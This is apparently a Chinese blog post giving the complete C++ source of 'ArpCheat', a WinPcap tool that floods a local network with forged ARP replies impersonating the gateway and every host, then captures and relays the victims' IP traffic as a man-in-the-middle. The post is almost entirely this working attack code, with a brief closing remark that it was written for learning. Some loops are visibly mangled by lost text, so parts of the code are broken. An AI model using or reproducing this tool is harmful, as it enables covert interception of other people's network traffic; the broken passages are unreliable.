局域网 arp packet拦截 with wpcap

//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //字节对齐必须是1 #pragma pack (1) struct ethernet_head { unsigned char dest_mac[6]; //目标主机MAC地址 unsigned char source_mac[6]; //源端MAC地址 unsigned short eh_type; //以太网类型 }; struct arp_head { unsigned short hardware_type; //硬件类型:以太网接口类型为1 unsigned short protocol_type; //协议类型:IP协议类型为0X0800 unsigned char add_len; //硬件地址长度:MAC地址长度为6B unsigned char pro_len; //协议地址长度:IP地址长度为4B unsigned short option; //操作:ARP请求为1,ARP应答为2 unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址 unsigned long sour_ip; //源IP地址:发送方的IP地址 unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址 unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址 unsigned char padding[18]; }; struct arp_packet //最终arp包结构 { ethernet_head eth; //以太网头部 arp_head arp; //arp数据包头部 }; struct ip_head { //unsigned int version:4; // version //unsigned int ihl:4; // header length u_int8_t ihl_version; u_int8_t tos; // type of service u_int16_t tot_len; // total length u_int16_t id; // identifier u_int16_t frag_off; // frag flag and offset u_int8_t ttl; // time live u_int8_t protocol; // protocal u_int16_t check; // check sum u_int32_t saddr; // source ip u_int32_t daddr; // dest ip /*The options start here. */ }; struct ip_packet //最终arp包结构 { ethernet_head eth; //以太网头部 ip_head ip; //ip数据包头部 }; #pragma pack () // host's ip and mac struct lan_hostlist{ unsigned long ip; unsigned char mac[6]; unsigned char dmy[2]; }; // fake arp thread para struct fake_arp{ u_long netmask; // 子网掩码 u_long host_ip; // localhost ip u_long gate; // 网关 pcap_t *adhandle; // pcap handle struct lan_hostlist* hostlist; // buffer for save ip,mac for host u_char mac[6]; // localhost mac char dmy[2]; }; // fake arp thread para struct pack_proc{ u_long netmask; // 子网掩码 u_long host_ip; // localhost ip u_long gate; // 网关 pcap_t *adhandle; // pcap handle struct lan_hostlist* hostlist; // buffer for save ip,mac for host }; /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName); /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP); /* Callback function invoked by libpcap for every incoming packet */ void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); void create_pack_proc_thread(u_long netmask, u_long host_ip, u_long gate, pcap_t *adhandle, struct lan_hostlist* hostlist); void create_fake_arp_thread(u_long netmask, u_long host_ip, u_long gate, u_char mac[6], pcap_t *adhandle, struct lan_hostlist* hostlist); #endif

 

// packet_handler.h #ifndef __PACKET_HANDLER_H__ #define __PACKET_HANDLER_H__ void proc_packet(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); u_short get_frame_type(const u_char *pkt_data, int off); void packet_handler_arp(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); void packet_handler_ip(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); #endif

 

//ArpCheat.cpp #include #include #include #include #include #include "ArpCheat.h" #include "packet_handler.h" struct lan_hostlist* g_hostlist[3]; int main(int argc,char* argv[]) { pcap_if_t *alldevs; //全部网卡列表 pcap_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量 pcap_t *adhandle; //一个pcap实例 char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 u_char *mac; //本机MAC地址 u_long gate; //要伪装成的IP地址 pcap_addr_t *pAddr; //网卡地址 u_long ip; //IP地址 u_long netmask; //子网掩码 #ifdef WIN32 WSADATA wsaData; WORD wVersionRequested; wVersionRequested = MAKEWORD( 2, 2 ); WSAStartup( wVersionRequested, &wsaData ); #endif /*if(argc!=2){ printf("Usage: %s inet_addr/n",argv[0]); return -1; }*/ // 192.168.2.11 char* gate_ip = "192.168.2.1"; while (1) { Sleep(1000); //从参数列表获得要伪装的IP地址 gate = inet_addr(gate_ip/*argv[1]*/); if(INADDR_NONE==gate){ fprintf(stderr,"Invalid IP: %s/n",gate_ip/*argv[1]*/); return -1; } /* 获得本机网卡列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf); exit(1); } /* 打印网卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->description) printf(". %s/n", d->description); else printf(". No description available/n"); } //如果没有发现网卡 if(i==0) { printf("/nNo interfaces found! Make sure WinPcap is installed./n"); return -1; } if (1 == i) { printf("Enter the interface number (1-%d):1/n",i); inum = 1; } else { //请用户选择一个网卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果用户选择的网卡序号超出有效范围,则退出 if(inum < 1 || inum > i) { printf("/nInterface number out of range./n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } } /* 移动指针到用户选择的网卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://" //printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s/n", // mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],gate_ip/*argv[1]*/); ///* 打开网卡 */ //if ( (adhandle= pcap_open(d->name, // name of the device // 65536, // portion of the packet to capture // 0, //open flag // 1000, // read timeout // NULL, // authentication on the remote machine // errbuf // error buffer // ) ) == NULL) /* Open the device */ /* Open the adapter */ if ((adhandle= pcap_open_live(d->name, // name of the device 65536, // portion of the packet to capture. // 65536 grants that the whole packet will be captured on all the MACs. 1, // promiscuous mode (nonzero means promiscuous) 1000, // read timeout errbuf // error buffer )) == NULL) { fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } printf("/nlistening on %s.../n", d->description); ///* start the capture */ //pcap_loop(adhandle, 0, packet_handler, NULL); int d_cnt = 0; for(pAddr=d->addresses; pAddr; pAddr=pAddr->next, d_cnt++){ //得到用户选择的网卡的一个IP地址 ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该IP地址对应的子网掩码 netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!ip || !netmask){ continue; } u_long netsize = ntohl(~netmask); //网络中主机数 u_long net = ip & netmask; //子网地址 if (d_cnt < (sizeof(g_hostlist) / sizeof(struct lan_hostlist*))) { g_hostlist[d_cnt] = (struct lan_hostlist*)malloc(sizeof(struct lan_hostlist) * netsize); if (NULL == g_hostlist[d_cnt]) { fprintf(stderr,"Malloc error!/n"); } else { u_long ip_idx = 0;//htonl(ip & ~netmask); struct lan_hostlist* hlist = g_hostlist[d_cnt]; (hlist + ip_idx)->ip = ntohl(ip); memcpy((hlist + ip_idx)->mac, mac, 6); } } //看看这个IP和要伪装的IP是否在同一个子网 if((ip&netmask)!=(gate&netmask)){ continue; //如果不在一个子网,继续遍历地址列表 } create_pack_proc_thread(netmask, ip, gate, adhandle, g_hostlist[d_cnt]); create_fake_arp_thread(netmask, ip, gate, mac, adhandle, g_hostlist[d_cnt]); //for(u_long n=1; nhFile == INVALID_HANDLE_VALUE)) { return NULL; } PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); if (OidData == NULL) { PacketCloseAdapter(lpAdapter); return NULL; } // // Retrieve the adapter MAC querying the NIC driver // OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6); BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); return mac; } /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ u_char* BuildArpPacket(u_char* source_mac, u_long srcIP,u_long destIP) { static struct arp_packet packet; //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF memset(packet.eth.dest_mac,0xFF,6); //源MAC地址 memcpy(packet.eth.source_mac,source_mac,6); //上层协议为ARP协议,0x0806 packet.eth.eh_type = htons(0x0806); //硬件类型,Ethernet是0x0001 packet.arp.hardware_type = htons(0x0001); //上层协议类型,IP为0x0800 packet.arp.protocol_type = htons(0x0800); //硬件地址长度:MAC地址长度为0x06 packet.arp.add_len = 0x06; //协议地址长度:IP地址长度为0x04 packet.arp.pro_len = 0x04; //操作:ARP请求为1 packet.arp.option = htons(0x0001); //源MAC地址 memcpy(packet.arp.sour_addr,source_mac,6); //源IP地址 packet.arp.sour_ip = srcIP; //目的MAC地址,填充0 memset(packet.arp.dest_addr,0,6); //目的IP地址 packet.arp.dest_ip = destIP; //填充数据,18B memset(packet.arp.padding,0,18); return (u_char*)&packet; } /* Callback function invoked by libpcap for every incoming packet */ void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { //struct tm *ltime; //char timestr[16]; //time_t local_tv_sec; ///* // * unused parameters // */ //(VOID)(param); //(VOID)(pkt_data); ///* convert the timestamp to readable format */ //local_tv_sec = header->ts.tv_sec; //ltime=localtime(&local_tv_sec); //strftime( timestr, sizeof timestr, "%H:%M:%S", ltime); // //printf("%s,%.6d len:%d/n", timestr, header->ts.tv_usec, header->len); if (header->len == header->caplen) { proc_packet(param, header, pkt_data); } } u_long WINAPI fake_arp_thread(void* para) { struct fake_arp* p = (struct fake_arp*)para; u_long netmask = p->netmask; u_long ip = p->host_ip; u_char *packet; //ARP包 u_long gate = p->gate;// 网关 pcap_t *adhandle = p->adhandle; u_char *mac = p->mac; u_long netsize = ntohl(~netmask); //网络中主机数 u_long net = ip & netmask; //子网地址 int timeout = 1000; while (1) { // 向网络中的其它主机发送假的arp包,冒充我是网关 for(u_long n=1; n%.2X-%.2X-%.2X-%.2X-%.2X-%.2X pretend->%.8X to->%.8X/n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5], gate, destIp); Sleep(timeout); } } } // 向网络中的网关发送假的arp包,冒充我是所有主机 for(u_long n=1; n%.2X-%.2X-%.2X-%.2X-%.2X-%.2X pretend->%.8X to->%.8X/n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5], destIp, gate); Sleep(timeout); } } } Sleep(timeout * 10); } free(para); return 0; } void create_fake_arp_thread(u_long netmask, u_long host_ip, u_long gate, u_char mac[6], pcap_t *adhandle, struct lan_hostlist* hostlist) { struct fake_arp* para = (struct fake_arp*)malloc(sizeof(struct fake_arp)); if (para) { para->host_ip = host_ip; para->netmask = netmask; para->adhandle = adhandle; para->gate = gate; para->hostlist = hostlist; memcpy(para->mac, mac, 6); HANDLE h_thd = CreateThread(NULL, 0, fake_arp_thread, para, 0, NULL); if (NULL != h_thd) { WaitForSingleObject(h_thd, INFINITE); } } } u_long WINAPI packet_proc_thread(void* para) { struct pack_proc* p = (struct pack_proc*)para; pcap_t *adhandle = p->adhandle; /* start the capture */ pcap_loop(adhandle, 0, packet_handler, (u_char*)p); free(para); return 0; } void create_pack_proc_thread(u_long netmask, u_long host_ip, u_long gate, pcap_t *adhandle, struct lan_hostlist* hostlist) { struct pack_proc* para = (struct pack_proc*)malloc(sizeof(struct pack_proc)); if (para) { para->adhandle = adhandle; para->hostlist = hostlist; para->netmask = netmask; para->gate = gate; para->host_ip = host_ip; HANDLE h_thd = CreateThread(NULL, 0, packet_proc_thread, para, 0, NULL); if (NULL != h_thd) { //WaitForSingleObject(h_thd, INFINITE); } } } // 取得本机的ip //char host_name[128]; //struct hostent *h; //u_long localhost_ip = 0; //int ret = gethostname(host_name, sizeof(host_name)); //if (0 == ret) { // int i; // h = gethostbyname(host_name); // printf("Default IP: %s/n", inet_ntoa (*((struct in_addr *)h->h_addr))); // localhost_ip = inet_addr(inet_ntoa (*((struct in_addr *)h->h_addr))); // for (i = 0; i< h->h_length / sizeof(int); i++) { // printf("IP %d : %s/n", i+1, inet_ntoa (*((struct in_addr *)h->h_addr_list[i]))); // }; //} else { // fprintf(stderr,"gethostname failed!/n",); //}

 

// packet_handler.cpp #include #include #include #include #include #include "ArpCheat.h" #include "packet_handler.h" void proc_packet(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { int off = 6 + 6; u_short type = get_frame_type(pkt_data, off); off += sizeof(type); //pkt_data += off; switch(type){ case 0x0806: // arp packet_handler_arp(param, header, pkt_data); break; case 0x0800: // ip packet_handler_ip(param, header, pkt_data); break; case 0x0835: // rarp printf("RARP:/n"); break; default: break; } } u_short get_frame_type(const u_char *pkt_data, int off) { return ntohs(*(u_short*)&pkt_data[off]); } u_short ReadArpPacket(struct arp_packet *packet, const u_char* pkt_data) { //目的MAC地址为广播地址 memcpy(packet->eth.dest_mac, pkt_data, 6); pkt_data += 6; //源MAC地址 memcpy(packet->eth.source_mac, pkt_data, 6); pkt_data += 6; //上层协议为ARP协议,0x0806 packet->eth.eh_type = ntohs(*(u_short*)pkt_data); pkt_data += 2; //硬件类型,Ethernet是0x0001 packet->arp.hardware_type = ntohs(*(u_short*)pkt_data); pkt_data += 2; //上层协议类型,IP为0x0800 packet->arp.protocol_type = ntohs(*(u_short*)pkt_data); pkt_data += 2; //硬件地址长度:MAC地址长度为0x06 packet->arp.add_len = *pkt_data; pkt_data += 1; //协议地址长度:IP地址长度为0x04 packet->arp.pro_len = *pkt_data; pkt_data += 1; //操作:ARP请求为1 packet->arp.option = ntohs(*(u_short*)pkt_data); pkt_data += 2; //源MAC地址 memcpy(packet->arp.sour_addr, pkt_data, 6); pkt_data += 6; //源IP地址 packet->arp.sour_ip = ntohl(*(u_long*)pkt_data); pkt_data += 4; //目的MAC地址,填充0 memcpy(packet->arp.dest_addr, pkt_data, 6); pkt_data += 6; //目的IP地址 packet->arp.dest_ip = ntohl(*(u_long*)pkt_data); pkt_data += 4; //填充数据,18B memcpy(packet->arp.padding, pkt_data, 18); pkt_data += 18; return packet->arp.option; } void packet_handler_arp(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { struct arp_packet arp_packet; struct pack_proc* p = (struct pack_proc*)param; u_short op; u_long netmask = ntohl(p->netmask); int host_idx; //memset(&arp_packet, 0, sizeof(struct arp_packet)); op = ReadArpPacket(&arp_packet, pkt_data); switch(op) { case 0x0001: //printf("ARP: req/n"); break; case 0x0002: host_idx = (~netmask) & arp_packet.arp.dest_ip; (p->hostlist + host_idx)->ip = arp_packet.arp.dest_ip; memcpy((p->hostlist + host_idx)->mac, arp_packet.arp.dest_addr, 6); //printf("ARP: ack/n"); break; default: break; } return; } u_long ReadIpPacket(struct ip_packet *packet, const u_char* pkt_data) { //目的MAC地址为广播地址 memcpy(packet->eth.dest_mac, pkt_data, 6); pkt_data += 6; //源MAC地址 memcpy(packet->eth.source_mac, pkt_data, 6); pkt_data += 6; //上层协议为ARP协议,0x0800 packet->eth.eh_type = ntohs(*(u_short*)pkt_data); pkt_data += 2; //packet->ip.version = *pkt_data >> 4; // version //packet->ip.ihl = *pkt_data & 0x0f; // header length packet->ip.ihl_version = *pkt_data; pkt_data += 1; packet->ip.tos = *pkt_data; // type of service pkt_data += 1; packet->ip.tot_len = ntohs(*(u_short*)pkt_data); // total length pkt_data += 2; packet->ip.id = ntohs(*(u_short*)pkt_data); // identifier pkt_data += 2; packet->ip.frag_off = ntohs(*(u_short*)pkt_data); // frag flag and offset pkt_data += 2; packet->ip.ttl = *pkt_data; // time live pkt_data += 1; packet->ip.protocol = *pkt_data; // protocal pkt_data += 1; packet->ip.check = ntohs(*(u_short*)pkt_data); // check sum pkt_data += 2; packet->ip.saddr = ntohl(*(u_long*)pkt_data); // source ip pkt_data += 4; packet->ip.daddr = ntohl(*(u_long*)pkt_data); // dest ip pkt_data += 4; return packet->ip.daddr; } void packet_handler_ip(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { struct ip_packet ip_packet; struct pack_proc* p = (struct pack_proc*)param; u_long netmask = ntohl(p->netmask); u_long gate = ntohl(p->gate); u_long ip = ntohl(p->host_ip); int host_idx; u_long destip; u_long srcip; u_char emtpy_mac[6] = {0}; u_char broadcast_mac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; //memset(&ip_packet, 0, sizeof(struct ip_packet)); destip = ReadIpPacket(&ip_packet, pkt_data); srcip = ip_packet.ip.saddr; if ((destip & netmask) == (ip & netmask) && (srcip & netmask) == (ip & netmask)) { // 子网内 if ((destip == ((ip & netmask) | ~netmask) && ip != srcip)) { // 非本机的广播 u_char * buf = (u_char *)malloc(header->len); if (buf) { memcpy(buf, pkt_data, header->len); // dest mac ddress memcpy(buf, broadcast_mac, 6); if(pcap_sendpacket(p->adhandle, buf, header->len)==-1){ fprintf(stderr,"ip pcap_sendpacket error./n"); } else { printf("ArpCheat:ip packet transfer from->%.8X to->%.8X len->%d/n", srcip, destip, header->len); } free(buf); } } else if (srcip == gate && destip != ip) { // 网关->非本机的主机 u_long src_idx = (~netmask) & srcip; host_idx = (~netmask) & destip; if (memcmp((p->hostlist + host_idx)->mac, emtpy_mac, 6)) { if (memcmp((p->hostlist + src_idx)->mac, emtpy_mac, 6)) { u_char * buf = (u_char *)malloc(header->len); if (buf) { memcpy(buf, pkt_data, header->len); // dest mac ddress memcpy(buf, (p->hostlist + host_idx)->mac, 6); // src mac ddress memcpy(buf + 6, (p->hostlist + src_idx)->mac, 6); if(pcap_sendpacket(p->adhandle, buf, header->len)==-1){ fprintf(stderr,"ip pcap_sendpacket error./n"); } else { printf("ArpCheat:ip packet transfer from->%.8X to->%.8x len->%d/n", srcip, destip, header->len); } free(buf); } } } } else if (srcip != ip && destip != ip) { // 非本机的主机->非本机的主机 u_long src_idx = (~netmask) & srcip; host_idx = (~netmask) & destip; if (memcmp((p->hostlist + host_idx)->mac, emtpy_mac, 6)) { if (memcmp((p->hostlist + src_idx)->mac, emtpy_mac, 6)) { u_char * buf = (u_char *)malloc(header->len); if (buf) { memcpy(buf, pkt_data, header->len); // dest mac ddress memcpy(buf, (p->hostlist + host_idx)->mac, 6); // src mac ddress memcpy(buf + 6, (p->hostlist + src_idx)->mac, 6); if(pcap_sendpacket(p->adhandle, buf, header->len)==-1){ fprintf(stderr,"ip pcap_sendpacket error./n"); } else { printf("ArpCheat:ip packet transfer from->%.8X to->%.8X len->%d/n", srcip, destip, header->len); } free(buf); } } } } } return; }

 

今天闲来无事,花了一天时间,写了个局域网拦截数据包的程序,对以太网,arp传输了解了一些。

遗留问题:输出的ip格式变为可读的字符串

联络方式:[email protected]

你可能感兴趣的:(杂)